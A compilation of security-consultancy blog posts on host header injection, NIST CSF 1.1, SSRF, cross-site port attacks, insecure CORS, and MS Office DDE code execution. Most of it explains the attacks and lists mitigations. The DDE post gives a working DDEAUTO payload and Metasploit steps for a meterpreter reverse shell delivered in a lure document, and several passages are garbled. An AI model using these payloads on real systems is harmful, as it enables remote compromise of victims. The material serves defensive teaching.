HOST HEADER INJECTION

HOST HEADER INJECTION

Most of the common web servers are configured in the form of the same server to host many web applications with the same IP address this type of configuration is the reason for the Host Header issues. Here we are going to deal with the host header injection attack in various forms, its impact and mitigation.

CONTENTS:

1. HOST HEADER ISSUES
2. RISK
3. HOW ATTACKERS UTILIZE HOST HEADER ATTACK
4. WHY HOST HEADER HAPPEN
5. HOW TO FIND HOST HEADER ISSUES
6. PHASES OF HOST HEADER ISSUES
7. IMPACT OF HOST HEADER ISSUES
8. MITIGATIONS FOR HOST HEADER ATTACK
9. CONCLUSION

HOST HEADER ISSUES:

An attacker can manually divert the code to produce the hacker desired output simply by editing the host header. Most probably web servers are configured to pass the host header to the first virtual host in the list without proper reorganisation, So It is possible to send the HTTP requests with arbitrary host headers to the first virtual host. In that case, if we specify an invalid Host means the web server process it and pass the invalid host header to the first virtual host in the list.

An attacker can modify the host name by giving a fake web page or a vulnerable website and deliver it to the user and fraud the users.

Example:

The result will redirect the user to the attacker’s website by simply modifying the host header

RISK:

Most probably many websites use the values provided in the user input field and uses it afterwards without an improper input validation. Commonly this will not have that much impact on the application, but in some cases, if the application accepts the host header, the risk lays there. There may occur,

• URL redirection problems.
• Username and password credentials may be theft.
• Financial loss may happen in Finance sectors.

HOW ATTACKERS UTILIZE HOST HEADER ATTACK:

The exploitation is based on the logic of the web application. If the application does not use the user input value, then there is no risk. But the host header attack is considered as a serious issue at the time of resetting our password. When we are resetting our forgotten password, or we change our password for our privacy, the web application generates a link dynamically there it uses the host header provided in the request. In this scenario, the hacker uses this header for their evil cause. The hackers use some social engineering and phishing attacks for getting the link. So, the developer should realise the importance of the host header attack.

WHY HOST HEADER HAPPEN:

It is an injection type of attack that done on the HTTP headers.

• HTTP headers are dynamically generated based on the input of the user. User inputs can be edited or spoof by attackers. It is accessible by everyone.
• Any website that does not correctly validate or verify the HTTP Host headers.

HOW TO FIND HOST HEADER ISSUES:

Verify the header of the request. Inject other domain in the header field and check the response in the browser.

PHASES OF HOST HEADER ISSUES:

1. WEB CACHE POISONING WITH SINGLE HOST HEADER:

Web cache poisoning is a kind of technique used by a hacker to manipulate a web cache that serves a poisoned content for those who requests that webpage. For this attack, the hacker needs to poison a caching proxy run by the website itself, or content delivery networks (CND’s), or other caching mechanisms are carried out between the client and the server. In this scenario where caching is enabled, A hacker will potentially embed a remote URL as the base-URL for any website. This scenario then causes other users who request the site will be redirected unknowingly. Thus if an application fails to prevent the user from using the X-Forwarded-Host header, it will effectively override the Host header. The cache will serve the poisoned content to everyone those who request the webpage without the knowledge of the victim.

EXAMPLE:

 

2. X-FORWARDED HOST HEADER:

Host header injection is mitigated by preventing the tampering of Host header. It means if any request is made with tampered host header, the application responds with an error message like “404 Not Found”. Another way to pass arbitrary Host headers is to use the X-Forwarded-Host header. In some configurations, this header will rewrite the value of the Host header. Therefore it’s possible to make the following request.

EXAMPLE:

3. WEB POISONING WITH MULTIPLE HOST HEADERS:

It is one of the forms of web cache poisoning attack. It is similar to that of the web cache poisoning using the single header. The only difference is that in this type is that it use multiple headers more than one to the users those who request the website. By tampering with the header, it is possible. The web cache will deliver the wrong content to the user with their knowledge.

EXAMPLE:

GET / HTTP/1.1

Host: www.example.com

Host: www.evil.com

4. PASSWORD RESET POISONING:

 The significant impact of Host header attack lies in the password resetting functionality. The most common scenario of this attack the hacker generates a secret token and sends a mail that has a link that contains the mysterious symbol of the hacker. The hacker urges the user to make use of his link, and to requests, a password reset link which redirects the user to him. In this case, if the web application makes use of this host header value when composing with the reset link and when the user clicks the poisoned reset link in the mail, then the user will become a victim to the hacker. The attacker will obtain the password reset token and make use of his password for his destructive purposes.

EXAMPLE:

 

IMPACT OF HOST HEADER ISSUES:

1. A hacker can modify the legitimate host header with a wrong host in the request, and it poisons the cache of the web application server and the proxy. It has nothing to do with the browser. When the authorised user tries to access the host, but still the cache of the web server is poisoned with the hacker’s domain that redirects the licensed user to the domain of the hacker.
2. If the host headers are used for writing links without a proper HTML encoding, there may be a possibility for Cross-site
3. Access to the internal
4. HTML INJECTION also can be done.

MITIGATIONS FOR HOST HEADER ATTACK:

• Proper sanitation of input values.
• Proper verification of the request that it came from the original target host or not.
• Mitigate the Host header attack in Apache and Nginx by creating a dummy virtual host that catches all requests from unrecognised Host headers.
• Whitelist the trusted domains at the initial phase of the web application.
• Respective Mapping of the domains that received in the host header of each HTTP request with itself.
• Use secure server configuration.
• Disable the support for the X-Forwarded-Host header option.

CONCLUSION:

Many application developers did not realise that the HTTP host header is accessible and controlled by all user. In an application security perspective, the input given by the user is always deceivable, and it is unsafe to trust. So, a web developer should consider host header issues as a dangerous thing not to and neglect it; we should find the impacts caused by the host header and follow the mitigation to safeguard ourselves.

We Briskinfosec is Center for Cyber Security Excellence passionate to protect you from all application security threats on your budget. Talk to our experts contact@briskinfosec.com

AUTHOR

Alex Daniel Raj

Security Engineer

Briskinfosec Technology and Consulting Pvt Ltd.,

follow me @https://www.linkedin.com/in/alex-daniel-raj-xavier-b77869145/

NIST CYBERSECURITY FRAMEWORK 1.1

NIST CYBERSECURITY FRAMEWORK 1.1

INTRODUCTION

The Framework 1.1  offers an agile way to address cybersecurity, including cybersecurity’s effect on physical, cyber, and people dimensions. It applies to organisations relying on technology, whether their cybersecurity focus is primarily on Information Technology (IT), Industrial Control Systems (ICS), Cyber-Physical Systems (CPS), or connected devices more generally, including the Internet of Things (IoT). The Framework 1.1 can enhance the organisations in addressing cybersecurity as affects the privacy of other data. Additionally, the Framework’s 1.1 outcomes serve as targets for workforce development and evolution activities.

The Framework 1.1 is not a one-size-fits-all method to manage cybersecurity risk for critical infrastructure. Organizations will continue to have static risks with different threats and vulnerabilities, and also with risk tolerances. They also will vary in how they customise practices described in the Framework 1.1. Organizations can determine activities that are important to critical service delivery and can prioritise investments to maximise the impact of each dollar spent. The Framework 1.1 is aiming to reduce the risk and better managing cybersecurity threats.

The Framework 1.1 is a living document and will continue to be updated and improved as the industry responds to implementation. NIST will continue coordinating with the private sector and government agencies at all levels. As the Framework 1.1 is placed into higher practice, additional lessons learned will be integrated into future versions. It will ensure the Framework 1.1 which meets the needs of infrastructure owners and operators in a critical environment of new threats and also the solutions.

USAGE OF FRAMEWORK 1.1

An organisation can use the Framework 1.1 as a critical part of its systematic process for identifying, assessing, and managing cybersecurity risk. The Framework is not used to replace existing methods, but companies can use its current method, and that can overlap it onto the Framework 1.1 to determine loopholes in its current cybersecurity risk approach. The Framework 1.1 can be used as a cybersecurity risk management tool; an organisation can identify activities that are most central to critical service delivery and prioritise expenditures to maximise the impact of the investment.

It is designed to complement cybersecurity operations. It can serve as the foundation for a new cybersecurity program or a mechanism for improving an existing application. The Framework  1.1 provides a means of articulating cybersecurity requirements to business partners and customers and can help identify gaps in an organisation’s cybersecurity practices.

The Framework 1.1 can be applied throughout the lifecycle phases of the plan, design, build/buy, deploy, operate, and decommission. The planning phase begins the cycle of any system and lays the groundwork for everything that follows. Overarching cybersecurity considerations should be declared and described as clearly as possible. The plan should be recognized that those requirements are to evolve during the remainder of the life cycle.

CYBERSECURITY USAGE FRAMEWORK 1.1

CONCLUSION

The Cybersecurity Framework 1.1 is intended to reduce risk by improving the management of cyber security risk to organisational objectives. Ideally, organisations using the Framework 1.1 will be able to measure and assign values to their risk along with the cost and benefits of steps taken to decrease risk to proper levels. The better an organisation can estimate its risk, costs, and advantages of cybersecurity strategies and actions, the more rational, useful, and valuable its cybersecurity approach and investments will be.

Over time, self-assessment and measurement should improve decision making about investment priorities. For example, measuring – or at least robustly characterising – aspects of an organisation’s cybersecurity state and trends over time can enable that organisation to understand and convey meaningful risk information to dependents, suppliers, buyers, and other parties. An organisation can accomplish this internally or by seeking a third-party assessment. If done correctly and with an appreciation of limitations, these measurements can provide a basis for healthy trusted relationships, both inside and outside of an organisation.

REFERENCE:

https://www.nist.gov/cyberframework

https://www.us-cert.gov/ccubedvp/cybersecurity-framework

AUTHOR

Dharmesh B

Security Engineer

Briskinfosec Technology and Consulting Pvt Ltd.,

https://www.linkedin.com/in/dharmeshbaskaran/

SSRF (SERVER SIDE REQUEST FORGERY)

SSRF (SERVER SIDE REQUEST FORGERY)

INTRODUCTION

Server-Side Request Forgery (SSRF) refers to an attack wherein an attacker can send a crafted request from a vulnerable web application. SSRF is mainly used to target internal systems behind WAF (web application firewall) that are unreachable to an attacker from the external network. Additionally, it’s also possible for an attacker to mark SSRF to access services from the same server that is listening on the loopback interface address called (127.0.0.1).

Typically, Server Side Request Forgery (SSRF) occurs when a web application is making a request, where an attacker has full or partial control of the claim that is sent. A typical example is when an attacker can control all or part of the URL to which the web application makes a request to some third-party services, and here I have captured the parameter of file= URL, and I tried to perform this server-side forgery attack

tried to perform this server-side forgery attack

In the above figure, the perpetrator forges a request for a fund transfer website, and he embeds it into the visitor site. when the visitor logs the website for the transaction and clicks the perpetrator created a link, it redirects to Perpetrator site, and the amount is transferred to his account

SSRF IMPACTS:

By this attack, an attacker can gather information about ports, IP addresses, Remote code execution and it also discovers the IP addresses of servers running behind a reverse proxy etc.

For Example, I have tried SSRF attack on a testing site for your reference

Vulnerable site: http://testphp.vulnweb.com/

POC 1:

In Burp Suite I have checked for some different redirection parameter other than URL=, and in the search field I have tried with various parameters and using this parameter of file= and here I have captured the request of the particular path and sent it to the repeater

POC 2:

Request Captured from the search file in the repeater and here in file feed a .jpg file is available, now I removed the file and entered a third party URL on file Redirected URL: https://www.expressvpn

POC 3:

Once I click on Go to capture response the response is changed to expessvpn.com, and you can see the IP of the testphp.vulnweb.com, but in render page, you can see the expressvpn.com site gets loaded as follows.

POC 4:

PREVENTION FROM SSRF:

• Generic error messages should be displayed to every client as unhandled responses might end up revealing sensitive information or data leakage about the server when any other raw response or different parameter is used.
• URL schemas other than HTTP and HTTPS should be blacklisted. Instead, these two mentioned protocols should be whitelisted thereby not allowing different schemas which are not in use like file:///, direct://, feed://, touch://  and FTP:// which might prove to be dangerous for SSRF.

CONCLUSION:

Hence, the Server Side Request Forgery attack has been made from the server side and the required web page has been redirected to some other web pages and to prevent from such types of attacks allow only the particular subdomains of the required web page and whitelist the other web pages which they are not in use.

REFERENCE LINKS:

• https://dzone.com/articles/the-server-side-request-forgery-vulnerability-and
• https://medium.com/poka-techblog/server-side-request-forgery-ssrf-attacks-part-1-the-basics-a42ba5cc244a

AUTHOR

Ram Kumar

Security Engineer

Briskinfosec Technology and Consulting Pvt Ltd.,

follow me @https://www.linkedin.com/in/ram-kumar-3439b511a/

Cross Site Port Attack (XSPA)

 

CROSS SITE PORT ATTACK (XSPA)

INTRODUCTION:

A web application is helpless against Cross Site Port Attack if it forms client provided URLs and does not disinfect the backend reaction got from remote servers previously sending it back to the client. The responses, in specific cases, can be concentrated to distinguish benefit accessibility (port status, flags and so forth.) and even bring information from remote administrations in unique ways.

Detecting a potential XSPA vulnerability is very simple and if the web app takes URL as input and tries to make it connect to the port and analyse the output and I have been attempting this XSPA attack on a testing app http://testphp.vulnweb.com/

Once I visited the testing site, and here I have selected the image categories option on the site as follows

Later I have selected the required image file it takes me to the URL as follow

Once I Visited this site I have started to capture the backend response using Burp Suite tool

Burp Suite is a graphical tool for testing Web application security, and It was mainly developed to provide a comprehensive solution for web application security checks. and In addition to this basic functionality, it also has some extra features such as proxy server, scanner and intruder, the tool also contains more advanced options such as a spider, a repeater, a decoder, a comparer, an extender and a sequencer

I have cross checked this site using my localhost with some ports and captured the response in burp suite, and by this method, we can precisely analyse the response for each port

Here I have captured the response of the image URL and crossed check it with my localhost with port 80(HTTP), and I can see the response 200 OK (Normal response)

Once It fetches the average result, and you can also confirm this for other ports like 22(ssh), 21(ftp), 25(SMTP), 8080(https) etc. and you can check the result in browser as well.

During Port analysis, if any required port is closed, it fetches the result as

It also shows the response of 200, but it displays some warning like (failed to open) or connection refused etc. and if it shows this case of errors then you can confirm that the port is closed

In the above screenshot shows the different case of the port is opened but it shows the result without exposing the attacker IP on the server logs and it also reveals the backend service running on SSH

MITIGATION FOR XSPA ATTACK:

• Unauthorized URL’s access should be restricted
• Restrict Connectivity to the internal ports
• Whitelist IP address
• Disable Unwanted protocols and services.
• You can block your ports using firewall for better security please check the link below to block your inernal ports

Reference Link:

http://www.thewindowsclub.com/block-open-port-windows-8-firewall

CONCLUSION:

XSPA vulnerability attack mainly used to perform port scanning of a target using another vulnerable website and also an attacker can perform a DOS attack, Code Execution and other major attacks on other vulnerable  websites

Reference Link:

https://teamultimate.in/cross-site-port-attack-xspa-tutorial/

http://indiatriks.blogspot.in/2012/07/xspa-cross-site-port-attack.html

AUTHOR

RamKumar G

SecurityEngineer

BriskInfoSec Technology and Consulting PVT LTD

Find  me @ https://www.linkedin.com/in/ram-kumar-3439b511a/

How can Insecure CORS lead to a biggest security threat for your application?

HOW CAN INSECURE CORS LEAD TO A BIGGEST SECURITY THREAT FOR YOUR APPLICATION?

WHAT IS THE MEANING OF AN ORIGIN?

Two websites are said to have same origin if both have following in common:

• Scheme (http, https)
• Host name (google.com, facebook.com, briskinfosec.com)
• Port number (80, 4657, 7777)

So, sites http://example.com and http://example.com/settings have same origin. But https://example.com:4657 and http://example.com:8080/settings have different origins.

The ‘Same Origin Policy’ restricts how a script loaded from one origin can interact with a resource from another origin. It is an important built-in security mechanism for browsers for isolating potential malicious scripts.

WHAT IS CROSS ORIGIN RESOURCE SHARING?

It is the need of Web 2.0 to share resources across origins. Following are some examples:

• Cross Origin Writes: A website can POST data to an endpoint of another website.
• Cross Origin Embedding: A website can refer images from another website using <img src> tag. Also, an iframe using <iframe src> tag can be embedded if the source website allows it.

Apart from the above two scenarios, when one website reads data from another website, it is called as ‘Cross Origin Resource Sharing’ aka CORS.

CORS is a W3 specification that allows cross domain communications from the browser. It works by adding new HTTP Headers that describe the origins that are allowed cross domain information sharing.

In other words, CORS is used to relax the ‘Same Origin Policy’ for legitimate and trusted requests. It is an essential feature of Web 2.0 to support APIs that are exposed via web services to be accessible.

 Some noteworthy example of web applications supporting CORS: Google, YouTube, Flickr.

TWO MOST IMPORTANT CORS HEADERS:

• Origin: It is set by browser in every CORS request. Its value is the domain name from which the request originates.
• Access Control Allow Origin: It is set by server in every CORS response. Depending on its value, the browser decides if the response is allowed or not. It can be set to * (also called the wildcard character) to make resources public (However, this is not a good practise).

PRE-FLIGHT REQUEST

A pre-flight request is just a normal HTTP request that happens before the actual cross-domain communication. The logic behind this is to ensure the client and server are fully compatible (protocol, security, and so on) with each other before the data is actually exchanged. If they are not, then the relevant error is raised.

Please keep that in mind that a pre-flight request only triggers if:

• Custom HTTP headers are sent
• The body MIME-type is different than text/plain
• The HTTP method is different than GET or yuPOST

The following is a typical pre-flight request-response pair:

Request:

   OPTIONS / HTTP/1.1
   Origin: http://api.user.com
   Access-Control-Request-Method: PUT
   Host: api.example.com
   Accept-Language: en-US
   Connection: keep-alive
   User-Agent: Browser

Response:

   HTTP/1.1 204 No Content
   Access-Control-Allow-Origin: http://api.user.com
   Access-Control-Allow-Methods: GET, POST, PUT
   Content-Type: text/html; charset=utf-8

SIMPLE REQUEST

A simple CORS request is similar to a pre-flight request without the initial capability exchange sequence occurring. In a typical simple CORS request, the following sequence happens:

Request: http://example.com  – Origin A

Response: http://cdn.briskinfosec.com – Origin B

1. Origin A attempts to access the home page of a CDN running at origin B, http://cdn.briskinfosec.com , using CORS.
2. Origin A sends a GET request to the Origin B web server.

The Origin B server responds with Access-Control-Allow-Origin.

A SCENARIO TO EXPLOIT CORS VULNERABILITY:

In this demo we are going to use a vulnerable intranet application which has a secret located at ‘secret-cors-3.php’. It has an Admin who accesses it from his local environment. Its URL is: http://127.0.0.1:80/bwapp/.

As it is an intranet application, the attacker cannot interact with it remotely. Our goal as an attacker will be to capture the secret (from a remote internet location) by exploiting CORS vulnerability.

THE EXPLOITATION:

• The attacker hosts a website containing the malicious script for cross domain interaction.
• Victim i.e. the Admin of the intranet website visits the attacker’s website. Location http://127.0.0.1:4567

• Response is received from the attacker’s website containing the following malicious payload:

• As soon as the web page is loaded, ‘makeRequest’ method is called. The method initiates a cross domain request to capture the secret, to the vulnerable intranet application located at ‘http://127.0.0.1:80/bwapp/secret-cors-1.php’

• It fetches the response and stores it in the variable ‘secret’.

• The ‘Access-Control-Allow-Origin’ has value set to *. So, the malicious script now has the payload and it simply issues a GET request to the attacker’s web server. Attacker hosts another web server at location: http://127.0.0.1:7777

• Meanwhile, attacker monitors the logs of that web server. The payload gets executed and the logs receive the secret.

HOW TO MITIGATE IT?

• ‘Access-Control-Allow-Origin’ should be never set to * if the resource contains sensitive information.
• The mitigation is simple and just a proper configuration. Configure the Access-Control-Allow-Origin header to allow requests only from the domains that you trust. For e.g.: Access-Control-Allow-Origin: Saurabh.com. The below image illustrates that the CORS attack does NOT get executed when the server is configured with correct ‘Access-Control-Allow-Origin’ instead of a ‘Wildcard’ character.

• Make sure that in server side validation for checking the origin header value, you are comparing with absolute value and NOT with regular expression.
• For example: The following code does a comparison with regular expression:

RegEx(“^https://mail.example.com$”)

In the above validation, dots (.) mean any character. So, an attacker can bypass it by making the CORS request origin from following domain: https://mailxexample.com
The patched code will be:

            if($_SERVER[“HTTP_ORIGIN”] == “https://mail.example.com”)
                    {
                        header(“Access-Control-Allow-Origin: https://mail.example.com”);
                    } 

• Client should not trust the received content without sanitization because that will result in client side code execution. For example: If website abc.com trusts and fetches cross domain data from example.com. example.com has a malicious intent and starts sering malicious javascript to abc.com, then abc.com can protect its users from cross site scripting by sanitizing the received data and then presenting it to its users.

WHAT IF THE ORIGIN HEADER IS SPOOFED?

The point of origin header is not to protect the resources on the server, that task is up to server itself. Origin header is to protect the user. Following scenario demonstrates it:

• An attacker Charlie creates a malicious website M
• User Alice is tricked into visiting website M which tries to perform CORS action on server example.com that supports it.
• The domain example.com will be listed in website M’s list of allowed domains. So, the request will be rejected.
• The important point here is that M cannot spoof the origin header because the request is initiated from Alice’s browser.
• This can be done by Alice using a local proxy tool. But why would a victim hack himself, so this scenario is not real.

Another way, an attacker can do this, is by intercepting the request being a man in the middle. But if the attacker has access to the traffic, then capturing cookies and session ID are better options rather than changing the Origin header.

OWASP CATEGORY FOR CORS VULNERABILITY:

This vulnerability falls under to the category of ‘Security Misconfiguration’ of OWASP Top 10. The HTTP response header ‘Access-Control-Allow-Origin’ is not configured correctly and this creates the issue.

REFERENCES:

• In the demo, Bwapp was used as the target web application. It is a deliberately made insecure web application. More about it at –http://www.itsecgames.com/
• CORS Introduction –https://en.wikipedia.org/wiki/Cross-origin_resource_sharing
• Same Origin and Cross Origin Policies:https://developer.mozilla.org/en-US/docs/Web/Security/Same-origin_policy

We have discussed about what CORS is and how to exploit CORS vulnerability in the web application and API web services .It is important to   verify that the CORS are configured properly. As a p part of web application   we need to make sure the shared resource are secure and HTTP headers haven’t tampered. A CORS Exploitation can cause great consequences letting sensitive data to compromise.

BriskInfosec provides the best web application and API security test.  Discover the reason to conduct Application Security test with us.

Reach us – Contact@briskinfosec.com

Author

RadhaKrishnan

Security Engineer

BriskInfosec Technolagy and Consulting PVT LTD

https://www.linkedin.com/in/radhakrishnan-r-209607111/

MS-OFFICE DDE Code Execution Vulnerability

BEWARE OF MS-OFFICE DDE CODE EXECUTION VULNERABILITY

INTRODUCTION:

DDE (Dynamic Data Exchange) protocol is an inbuilt feature in Microsoft Windows Applications used for the exchange of dynamic data between the applications. DDE protocol sends messages between the applications that share data and uses shared memory to exchange data between applications.
There are many applications available which use DDE feature which includes MS-Word and office 365, visual basic etc..,

DDE VULNERABILITY AND CODE EXECUTION:

For Data transfer between the applications, DDE work by executing the application, that will provide the data. If an attacker can inject a malicious code inside the DDE object field of the application (In our example we use MS-word), the attacker can execute code within the word document or excel sheet. Another advantage for the attacker is, unlike other client-side code execution attacks that use a malicious doc file which when opened, prompts the victim to enable macros in order to run the malware, these DDE exploits don’t need the victim to enable macros feature in his ms-word application. When the malicious doc is opened, it simply throws an error dialog box to the victim, which most of the users will click ‘OK’ and they will ignore it. Hence there is a higher chance for the attackers to gain access to victim machine by using this vulnerability.

Since DDE is an inbuilt feature, the malicious document cannot be identified as a threat by any Anti-virus software or windows defender. This is another big advantage for the attacker and hackers.

In this article, we will look at a demo starting with a simple code execution example by using DDE vulnerability to a complete compromise of a victim system using Metasploit.

SIMPLE CODE EXECUTION IN MS-WORD:

In MS-Word (All versions are vulnerable), open a blank new document or we can use an existing document for legitimacy purpose which will be helpful for luring the victim to believe that the document is legitimate and trusted. For our example, I’m using a blank document.

In the blank document, go to insert tab → Quick parts → Field

Fig.1 Blank Document

In the Field dialog box, select Formula option to insert our DDE exploit code.

Fig.2 Insertion in Formula option

After that, you should see a Field inserted into the document with an error “!Unexpected End of Formula”, right-click the Field, and choose Toggle Field Codes. we need to craft a DDE Object payload in the text field, which will start the malware or any code of our choice when the document is opened.

Fig.3

In the text field, insert the following code for executing notepad.exe when the document is opened.

{DDEAUTO c:\\windows\\system32\\cmd.exe "/k notepad.exe"}

The DDEAUTO keyword is to inform Ms Word that this is a DDE field, and will auto execute when the document is opened, the second part is the full path of the executable to execute, and the last part between quotes are the arguments to pass to this executable (execute notepad.exe).

Fig.4

After that save the document as any name. Once the victim opens the doc, notepad.exe is executed after 2 error messages.

Fig.6

After these two errors, which most of the users will ignore, notepad gets executed without any macros.

Fig.7

In this way, an attacker can execute malicious code without any user interaction to take full system control.

SYSTEM COMPROMISE USING DDE EXPLOIT IN METASPLOIT:

Since the makers of Metasploit has not released the exploit in its update, we will get the exploit from outside and import it to Metasploit database. Download the exploit using command

wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb

After that just move the exploit dde_delivery.rb to use/share/Metasploit-framework/modules/exploit/windows directory. After that open msfconsole and reload the database using command reload_all.

After the exploit is loaded in Metasploit, we can use it to exploit our victim. In msfconsole set the below command parameters.

Use exploit/windows/dde_delivery
 set SRVHOST
 set payload windows/meterpreter/reverse_tcp
 set LHOST
 set LPORT
 exploit

Fig.8

Once we give the exploit command, it will generate a DDE exploit payload. We need to copy it paste it to the DDE formula field that is described in above example.

Fig.9

Save the document and send it to the victim. Once the victim opens the document and ignores the error, we will get the remote system access via meterpreter shell.

Fig.10

Once we get the shell, we can interact with sessions – I command.

Fig.11

In this way, attackers can compromise the system without any knowledge of users and also without triggering any alerts from the firewall. Microsoft has released some initial patches for this vulnerability.

MITIGATION FOR DDE VULNERABILITY:

1. Install windows security updates regularly.
2. Double the error messages while opening any msoffice documents instead of blindly clicking on OK button.
3. Do not open any unnecessary email attachments.
4. Use an up to date anti-virus and firewall software.
5. Disable DDE feature in windows registry by using the key

{HKEY_CURRENT_USER\Software\Microsoft\Office\\Excel\Security} workbooklinewarnings(DWORD)=2

Since DDE is a Microsoft’s genuine feature, most antivirus solutions do not flag any warning or block MS Office documents with DDE fields. The best way to protect yourself from such attacks is always to be suspicious of any uninvited document sent via an email and never click on links inside those documents unless adequately verifying the source.

RiskInfosec provides the world’s best security solutions. For Best Security Solutions reach us @ Contact@briskinfosec.com.

REFERENCES:

1) https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
2) https://technet.microsoft.com/en-us/library/security/4053440.aspx

AUTHOR

Dawood Ansar

Security Engineer

BriskInfosec Technology and consulting  PVT LTD

FInd me @https://www.linkedin.com/in/dawood-ansar-29403213b/